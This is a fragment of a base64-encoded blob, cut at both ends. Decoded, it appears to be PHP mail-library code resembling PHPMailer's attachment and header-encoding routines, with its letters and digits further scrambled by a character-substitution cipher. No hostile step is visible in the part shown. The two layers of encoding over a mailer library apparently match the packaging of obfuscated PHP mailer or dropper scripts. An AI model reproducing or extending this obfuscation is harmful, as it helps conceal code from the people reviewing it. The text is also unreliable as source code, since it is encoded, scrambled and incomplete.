1bGY6OmY0bDVuMW01VDJUeXA1KCRwMXRoKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJGY0bDVuMW01ID0gYjFzNW4xbTUoJHAxdGgpOw0KICAgICAgICAgICAgNGYgKCRuMW01ID09ICcnKSB7DQogICAgICAgICAgICAgICAgJG4xbTUgPSAkZjRsNW4xbTU7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aDRzLT4xdHQxY2htNW50W10gPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAwID0+ICRwMXRoLA0KICAgICAgICAgICAgICAgIDYgPT4gJGY0bDVuMW01LA0KICAgICAgICAgICAgICAgIGEgPT4gJG4xbTUsDQogICAgICAgICAgICAgICAgbyA9PiAkNW5jMmQ0bmcsDQogICAgICAgICAgICAgICAgdSA9PiAkdHlwNSwNCiAgICAgICAgICAgICAgICBpID0+IGYxbHM1LCAvLyA0c1N0cjRuZ0F0dDFjaG01bnQNCiAgICAgICAgICAgICAgICBlID0+ICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgICAgICA3ID0+IDANCiAgICAgICAgICAgICk7DQoNCiAgICAgICAgfSBjMXRjaCAocGhwbTE0bDVyRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgJDV4YzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXQzcm4gdGg1IDFycjF5IDJmIDF0dDFjaG01bnRzLg0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0QXR0MWNobTVudHMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT4xdHQxY2htNW50Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEF0dDFjaCAxbGwgZjRsNSwgc3RyNG5nLCAxbmQgYjRuMXJ5IDF0dDFjaG01bnRzIHQyIHRoNSBtNXNzMWc1Lg0KICAgICAqIFI1dDNybnMgMW4gNW1wdHkgc3RyNG5nIDJuIGYxNGwzcjUuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRkNHNwMnM0dDQybl90eXA1DQogICAgICogQHAxcjFtIHN0cjRuZyAkYjIzbmQxcnkNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiAxdHQxY2hBbGwoJGQ0c3AyczR0NDJuX3R5cDUsICRiMjNuZDFyeSkNCiAgICB7DQogICAgICAgIC8vIFI1dDNybiB0NXh0IDJmIGIyZHkNCiAgICAgICAgJG00bTUgPSAxcnIxeSgpOw0KICAgICAgICAkYzRkVW40cSA9IDFycjF5KCk7DQogICAgICAgICQ0bmNsID0gMXJyMXkoKTsNCg0KICAgICAgICAvLyBBZGQgMWxsIDF0dDFjaG01bnRzDQogICAgICAgIGYycjUxY2ggKCR0aDRzLT4xdHQxY2htNW50IDFzICQxdHQxY2htNW50KSB7DQogICAgICAgICAgICAvLyBDaDVjayA0ZiA0dCA0cyAxIHYxbDRkIGQ0c3AyczR0NDJuX2Y0bHQ1cg0KICAgICAgICAgICAgNGYgKCQxdHQxY2htNW50W2VdID09ICRkNHNwMnM0dDQybl90eXA1KSB7DQogICAgICAgICAgICAgICAgLy8gQ2g1Y2sgZjJyIHN0cjRuZyAxdHQxY2htNW50DQogICAgICAgICAgICAgICAgJHN0cjRuZyA9ICcnOw0KICAgICAgICAgICAgICAgICRwMXRoID0gJyc7DQogICAgICAgICAgICAgICAgJGJTdHI0bmcgPSAkMXR0MWNobTVudFtpXTsNCiAgICAgICAgICAgICAgICA0ZiAoJGJTdHI0bmcpIHsNCiAgICAgICAgICAgICAgICAgICAgJHN0cjRuZyA9ICQxdHQxY2htNW50WzBdOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRwMXRoID0gJDF0dDFjaG01bnRbMF07DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgJDRuY2xoMXNoID0gbWRpKHM1cjQxbDR6NSgkMXR0MWNobTVudCkpOw0KICAgICAgICAgICAgICAgIDRmICg0bl8xcnIxeSgkNG5jbGgxc2gsICQ0bmNsKSkgew0KICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJDRuY2xbXSA9ICQ0bmNsaDFzaDsNCiAgICAgICAgICAgICAgICAkbjFtNSA9ICQxdHQxY2htNW50W2FdOw0KICAgICAgICAgICAgICAgICQ1bmMyZDRuZyA9ICQxdHQxY2htNW50W29dOw0KICAgICAgICAgICAgICAgICR0eXA1ID0gJDF0dDFjaG01bnRbdV07DQogICAgICAgICAgICAgICAgJGQ0c3AyczR0NDJuID0gJDF0dDFjaG01bnRbZV07DQogICAgICAgICAgICAgICAgJGM0ZCA9ICQxdHQxY2htNW50WzddOw0KICAgICAgICAgICAgICAgIDRmICgkZDRzcDJzNHQ0Mm4gPT0gJzRubDRuNScgJiYgMXJyMXlfazV5XzV4NHN0cygkYzRkLCAkYzRkVW40cSkpIHsNCiAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRjNGRVbjRxWyRjNGRdID0gdHIzNTsNCg0KICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKCctLSVzJXMnLCAkYjIzbmQxcnksICR0aDRzLT5MRSk7DQogICAgICAgICAgICAgICAgLy9Pbmx5IDRuY2wzZDUgMSBmNGw1bjFtNSBwcjJwNXJ0eSA0ZiB3NSBoMXY1IDJuNQ0KICAgICAgICAgICAgICAgIDRmICghNW1wdHkoJG4xbTUpKSB7DQogICAgICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0MybnQ1bnQtVHlwNTogJXM7IG4xbTU9IiVzIiVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXA1LA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPjVuYzJkNUg1MWQ1cigkdGg0cy0+czVjM3I1SDUxZDVyKCRuMW01KSksDQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gc3ByNG50ZigNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LVR5cDU6ICVzJXMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cDUsDQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLy8gUkZDNm91NiBwMXJ0IGkgczF5cyA3YjR0IDRzIDFzczNtNWQgNGYgbjJ0IHNwNWM0ZjQ1ZA0KICAgICAgICAgICAgICAgIDRmICgkNW5jMmQ0bmcgIT0gJzdiNHQnKSB7DQogICAgICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKCdDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nOiAlcyVzJywgJDVuYzJkNG5nLCAkdGg0cy0+TEUpOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIDRmICgkZDRzcDJzNHQ0Mm4gPT0gJzRubDRuNScpIHsNCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoJ0MybnQ1bnQtSUQ6IDwlcz4lcycsICRjNGQsICR0aDRzLT5MRSk7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgLy8gSWYgMSBmNGw1bjFtNSBjMm50MTRucyAxbnkgMmYgdGg1czUgY2gxcnMsIDR0IHNoMjNsZCBiNSBxMzJ0NWQsDQogICAgICAgICAgICAgICAgLy8gYjN0IG4ydCAydGg1cnc0czU6IFJGQ2E2OG8gJiBSRkNhMHVpIGkuNg0KICAgICAgICAgICAgICAgIC8vIEY0eDVzIDEgdzFybjRuZyA0biBJRVRGJ3MgbXNnbDRudCBNSU1FIGNoNWNrNXINCiAgICAgICAgICAgICAgICAvLyBBbGwydyBmMnIgYnlwMXNzNG5nIHRoNSBDMm50NW50LUQ0c3AyczR0NDJuIGg1MWQ1ciB0MnQxbGx5DQogICAgICAgICAgICAgICAgNGYgKCEoNW1wdHkoJGQ0c3AyczR0NDJuKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSA9ICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cigkbjFtNSkpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAocHI1Z19tMXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw/PV0vJywgJDVuYzJkNWRfbjFtNSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlczsgZjRsNW4xbTU9IiVzIiVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZDRzcDJzNHQ0Mm4sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUgLiAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCQ1bmMyZDVkX24xbTUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlczsgZjRsNW4xbTU9JXMlcycsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPkxFIC4gJHRoNHMtPkxFDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlcyVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGQ0c3AyczR0NDJuLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUgLiAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAvLyBFbmMyZDUgMXMgc3RyNG5nIDF0dDFjaG01bnQNCiAgICAgICAgICAgICAgICA0ZiAoJGJTdHI0bmcpIHsNCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9ICR0aDRzLT41bmMyZDVTdHI0bmcoJHN0cjRuZywgJDVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT40c0VycjJyKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAnJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRtNG01W10gPSAkdGg0cy0+NW5jMmQ1RjRsNSgkcDF0aCwgJDVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT40c0VycjJyKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAnJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgICRtNG01W10gPSBzcHI0bnRmKCctLSVzLS0lcycsICRiMjNuZDFyeSwgJHRoNHMtPkxFKTsNCg0KICAgICAgICByNXQzcm4gNG1wbDJkNSgnJywgJG00bTUpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuYzJkNSAxIGY0bDUgMXR0MWNobTVudCA0biByNXEzNXN0NWQgZjJybTF0Lg0KICAgICAqIFI1dDNybnMgMW4gNW1wdHkgc3RyNG5nIDJuIGYxNGwzcjUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkcDF0aCBUaDUgZjNsbCBwMXRoIHQyIHRoNSBmNGw1DQogICAgICogQHAxcjFtIHN0cjRuZyAkNW5jMmQ0bmcgVGg1IDVuYzJkNG5nIHQyIDNzNTsgMm41IDJmICdiMXM1ZXUnLCAnN2I0dCcsICc4YjR0JywgJ2I0bjFyeScsICdxMzJ0NWQtcHI0bnQxYmw1Jw0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiA1bmMyZDVGNGw1KCRwMXRoLCAkNW5jMmQ0bmcgPSAnYjFzNWV1JykNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICA0ZiAoITRzX3I1MWQxYmw1KCRwMXRoKSkgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJ2Y0bDVfMnA1bicpIC4gJHAxdGgsIHM1bGY6OlNUT1BfQ09OVElOVUUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJG0xZzRjX3EzMnQ1cyA9IGc1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgpOw0KICAgICAgICAgICAgNGYgKCRtMWc0Y19xMzJ0NXMpIHsNCiAgICAgICAgICAgICAgICA0ZiAodjVyczQybl9jMm1wMXI1KFBIUF9WRVJTSU9OLCAnaS5vLjAnLCAnPCcpKSB7DQogICAgICAgICAgICAgICAgICAgIHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNShmMWxzNSk7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgLy9EMjVzbid0IDV4NHN0IDRuIFBIUCBpLnUsIGIzdCB3NSBkMm4ndCBuNTVkIHQyIGNoNWNrIGI1YzEzczUNCiAgICAgICAgICAgICAgICAgICAgLy9nNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUgMWx3MXlzIHI1dDNybnMgZjFsczUgNG4gaS51Kw0KICAgICAgICAgICAgICAgICAgICAvL3MyIDR0IHc0bGwgbjV2NXIgZzV0IGg1cjUNCiAgICAgICAgICAgICAgICAgICAgNG40X3M1dCgnbTFnNGNfcTMydDVzX3IzbnQ0bTUnLCBmMWxzNSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGY0bDVfYjNmZjVyID0gZjRsNV9nNXRfYzJudDVudHMoJHAxdGgpOw0KICAgICAgICAgICAgJGY0bDVfYjNmZjVyID0gJHRoNHMtPjVuYzJkNVN0cjRuZygkZjRsNV9iM2ZmNXIsICQ1bmMyZDRuZyk7DQogICAgICAgICAgICA0ZiAoJG0xZzRjX3EzMnQ1cykgew0KICAgICAgICAgICAgICAgIDRmICh2NXJzNDJuX2MybXAxcjUoUEhQX1ZFUlNJT04sICdpLm8uMCcsICc8JykpIHsNCiAgICAgICAgICAgICAgICAgICAgczV0X20xZzRjX3EzMnQ1c19yM250NG01KCRtMWc0Y19xMzJ0NXMpOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIDRuNF9zNXQoJ20xZzRjX3EzMnQ1c19yM250NG01JywgJG0xZzRjX3EzMnQ1cyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuICRmNGw1X2IzZmY1cjsNCiAgICAgICAgfSBjMXRjaCAoRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgcjV0M3JuICcnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRW5jMmQ1IDEgc3RyNG5nIDRuIHI1cTM1c3Q1ZCBmMnJtMXQuDQogICAgICogUjV0M3JucyAxbiA1bXB0eSBzdHI0bmcgMm4gZjE0bDNyNS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHIgVGg1IHQ1eHQgdDIgNW5jMmQ1DQogICAgICogQHAxcjFtIHN0cjRuZyAkNW5jMmQ0bmcgVGg1IDVuYzJkNG5nIHQyIDNzNTsgMm41IDJmICdiMXM1ZXUnLCAnN2I0dCcsICc4YjR0JywgJ2I0bjFyeScsICdxMzJ0NWQtcHI0bnQxYmw1Jw0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNW5jMmQ1U3RyNG5nKCRzdHIsICQ1bmMyZDRuZyA9ICdiMXM1ZXUnKQ0KICAgIHsNCiAgICAgICAgJDVuYzJkNWQgPSAnJzsNCiAgICAgICAgc3c0dGNoIChzdHJ0MmwydzVyKCQ1bmMyZDRuZykpIHsNCiAgICAgICAgICAgIGMxczUgJ2IxczVldSc6DQogICAgICAgICAgICAgICAgJDVuYzJkNWQgPSBjaDNua19zcGw0dChiMXM1ZXVfNW5jMmQ1KCRzdHIpLCA3ZSwgJHRoNHMtPkxFKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzdiNHQnOg0KICAgICAgICAgICAgYzFzNSAnOGI0dCc6DQogICAgICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+ZjR4RU9MKCRzdHIpOw0KICAgICAgICAgICAgICAgIC8vIE0xazUgczNyNSA0dCA1bmRzIHc0dGggMSBsNG41IGJyNTFrDQogICAgICAgICAgICAgICAgNGYgKHMzYnN0cigkNW5jMmQ1ZCwgLShzdHJsNW4oJHRoNHMtPkxFKSkpICE9ICR0aDRzLT5MRSkgew0KICAgICAgICAgICAgICAgICAgICAkNW5jMmQ1ZCAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnYjRuMXJ5JzoNCiAgICAgICAgICAgICAgICAkNW5jMmQ1ZCA9ICRzdHI7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICdxMzJ0NWQtcHI0bnQxYmw1JzoNCiAgICAgICAgICAgICAgICAkNW5jMmQ1ZCA9ICR0aDRzLT41bmMyZDVRUCgkc3RyKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCR0aDRzLT5sMW5nKCc1bmMyZDRuZycpIC4gJDVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJDVuYzJkNWQ7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRW5jMmQ1IDEgaDUxZDVyIHN0cjRuZyAycHQ0bTFsbHkuDQogICAgICogUDRja3Mgc2gycnQ1c3QgMmYgUSwgQiwgcTMydDVkLXByNG50MWJsNSAyciBuMm41Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyDQogICAgICogQHAxcjFtIHN0cjRuZyAkcDJzNHQ0Mm4NCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA1bmMyZDVINTFkNXIoJHN0ciwgJHAyczR0NDJuID0gJ3Q1eHQnKQ0KICAgIHsNCiAgICAgICAgJG0xdGNoYzIzbnQgPSAwOw0KICAgICAgICBzdzR0Y2ggKHN0cnQybDJ3NXIoJHAyczR0NDJuKSkgew0KICAgICAgICAgICAgYzFzNSAncGhyMXM1JzoNCiAgICAgICAgICAgICAgICA0ZiAoIXByNWdfbTF0Y2goJy9bXGEwMC1cbzc3XS8nLCAkc3RyKSkgew0KICAgICAgICAgICAgICAgICAgICAvLyBDMW4ndCAzczUgMWRkc2wxc2g1cyAxcyB3NSBkMm4ndCBrbjJ3IHRoNSB2MWwzNSAyZiBtMWc0Y19xMzJ0NXNfc3liMXM1DQogICAgICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gMWRkY3NsMXNoNXMoJHN0ciwgIlwwLi5cbzdcNjc3XFxcIiIpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoKCRzdHIgPT0gJDVuYzJkNWQpICYmICFwcjVnX20xdGNoKCcvW15BLVoxLXowLTkhIyQlJlwnKitcLz0/Xl9ge3x9fiAtXS8nLCAkc3RyKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICgkNW5jMmQ1ZCk7DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gKCJcIiQ1bmMyZDVkXCIiKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbTF0Y2hjMjNudCA9IHByNWdfbTF0Y2hfMWxsKCcvW15cMHUwXDB1NlwwdW8tXDZvb1w2b2ktXDY3ZV0vJywgJHN0ciwgJG0xdGNoNXMpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgLyoqIEBuMjRuc3A1Y3Q0Mm4gUGhwTTRzczRuZ0JyNTFrU3QxdDVtNW50SW5zcDVjdDQybiAqLw0KICAgICAgICAgICAgYzFzNSAnYzJtbTVudCc6DQogICAgICAgICAgICAgICAgJG0xdGNoYzIzbnQgPSBwcjVnX20xdGNoXzFsbCgnL1soKSJdLycsICRzdHIsICRtMXRjaDVzKTsNCiAgICAgICAgICAgICAgICAvLyBJbnQ1bnQ0Mm4xbCBmMWxsLXRocjIzZ2gNCiAgICAgICAgICAgIGMxczUgJ3Q1eHQnOg0KICAgICAgICAgICAgZDVmMTNsdDoNCiAgICAgICAgICAgICAgICAkbTF0Y2hjMjNudCArPSBwcjVnX20xdGNoXzFsbCgnL1tcMDAwLVwwNjBcMDZvXDA2dVwwNmUtXDBvN1w2NzctXG83N10vJywgJHN0ciwgJG0xdGNoNXMpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQoNCiAgICAgICAgLy9UaDVyNSAxcjUgbjIgY2gxcnMgdGgxdCBuNTVkIDVuYzJkNG5nDQogICAgICAgIDRmICgkbTF0Y2hjMjNudCA9PSAwKSB7DQogICAgICAgICAgICByNXQzcm4gKCRzdHIpOw0KICAgICAgICB9DQoNCiAgICAgICAgJG0xeGw1biA9IDdpIC0gNyAtIHN0cmw1bigkdGg0cy0+Q2gxclM1dCk7DQogICAgICAgIC8vIFRyeSB0MiBzNWw1Y3QgdGg1IDVuYzJkNG5nIHdoNGNoIHNoMjNsZCBwcjJkM2M1IHRoNSBzaDJydDVzdCAyM3RwM3QNCiAgICAgICAgNGYgKCRtMXRjaGMyM250ID4gc3RybDVuKCRzdHIpIC8gbykgew0KICAgICAgICAgICAgLy8gTTJyNSB0aDFuIDEgdGg0cmQgMmYgdGg1IGMybnQ1bnQgdzRsbCBuNTVkIDVuYzJkNG5nLCBzMiBCIDVuYzJkNG5nIHc0bGwgYjUgbTJzdCA1ZmY0YzQ1bnQNCiAgICAgICAgICAgICQ1bmMyZDRuZyA9ICdCJzsNCiAgICAgICAgICAgIDRmIChmM25jdDQybl81eDRzdHMoJ21iX3N0cmw1bicpICYmICR0aDRzLT5oMXNNM2x0NEJ5dDVzKCRzdHIpKSB7DQogICAgICAgICAgICAgICAgLy8gVXM1IDEgYzNzdDJtIGYzbmN0NDJuIHdoNGNoIGMycnI1Y3RseSA1bmMyZDVzIDFuZCB3cjFwcyBsMm5nDQogICAgICAgICAgICAgICAgLy8gbTNsdDRieXQ1IHN0cjRuZ3MgdzR0aDIzdCBicjUxazRuZyBsNG41cyB3NHRoNG4gMSBjaDFyMWN0NXINCiAgICAgICAgICAgICAgICAkNW5jMmQ1ZCA9ICR0aDRzLT5iMXM1ZXVFbmMyZDVXcjFwTUIoJHN0ciwgIlxuIik7DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gYjFzNWV1XzVuYzJkNSgkc3RyKTsNCiAgICAgICAgICAgICAgICAkbTF4bDVuIC09ICRtMXhsNW4gJSB1Ow0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gdHI0bShjaDNua19zcGw0dCgkNW5jMmQ1ZCwgJG0xeGw1biwgIlxuIikpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJDVuYzJkNG5nID0gJ1EnOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+NW5jMmQ1USgkc3RyLCAkcDJzNHQ0Mm4pOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+d3IxcFQ1eHQoJDVuYzJkNWQsICRtMXhsNW4sIHRyMzUpOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSBzdHJfcjVwbDFjNSgnPScgLiBzNWxmOjpDUkxGLCAiXG4iLCB0cjRtKCQ1bmMyZDVkKSk7DQogICAgICAgIH0NCg0KICAgICAgICAkNW5jMmQ1ZCA9IHByNWdfcjVwbDFjNSgnL14oLiopJC9tJywgJyA9PycgLiAkdGg0cy0+Q2gxclM1dCAuICI/JDVuYzJkNG5nP1xcNj89IiwgJDVuYzJkNWQpOw0KICAgICAgICAkNW5jMmQ1ZCA9IHRyNG0oc3RyX3I1cGwxYzUoIlxuIiwgJHRoNHMtPkxFLCAkNW5jMmQ1ZCkpOw0KDQogICAgICAgIHI1dDNybiAkNW5jMmQ1ZDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayA0ZiAxIHN0cjRuZyBjMm50MTRucyBtM2x0NC1ieXQ1IGNoMXIxY3Q1cnMuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHIgbTNsdDQtYnl0NSB0NXh0IHQyIHdyMXAgNW5jMmQ1DQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGgxc00zbHQ0Qnl0NXMoJHN0cikNCiAgICB7DQogICAgICAgIDRmIChmM25jdDQybl81eDRzdHMoJ21iX3N0cmw1bicpKSB7DQogICAgICAgICAgICByNXQzcm4gKHN0cmw1bigkc3RyKSA+IG1iX3N0cmw1bigkc3RyLCAkdGg0cy0+Q2gxclM1dCkpOw0KICAgICAgICB9IDVsczUgeyAvLyBBc3MzbTUgbjIgbTNsdDRieXQ1cyAodzUgYzFuJ3QgaDFuZGw1IHc0dGgyM3QgbWJzdHI0bmcgZjNuY3Q0Mm5zIDFueXcxeSkNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEQyNXMgMSBzdHI0bmcgYzJudDE0biAxbnkgOC1iNHQgY2gxcnMgKDRuIDFueSBjaDFyczV0KT8NCiAgICAgKiBAcDFyMW0gc3RyNG5nICR0NXh0DQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGgxczhiNHRDaDFycygkdDV4dCkNCiAgICB7DQogICAgICAgIHI1dDNybiAoYjIybDUxbilwcjVnX20xdGNoKCcvW1x4ODAtXHhGRl0vJywgJHQ1eHQpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuYzJkNSAxbmQgd3IxcCBsMm5nIG0zbHQ0Y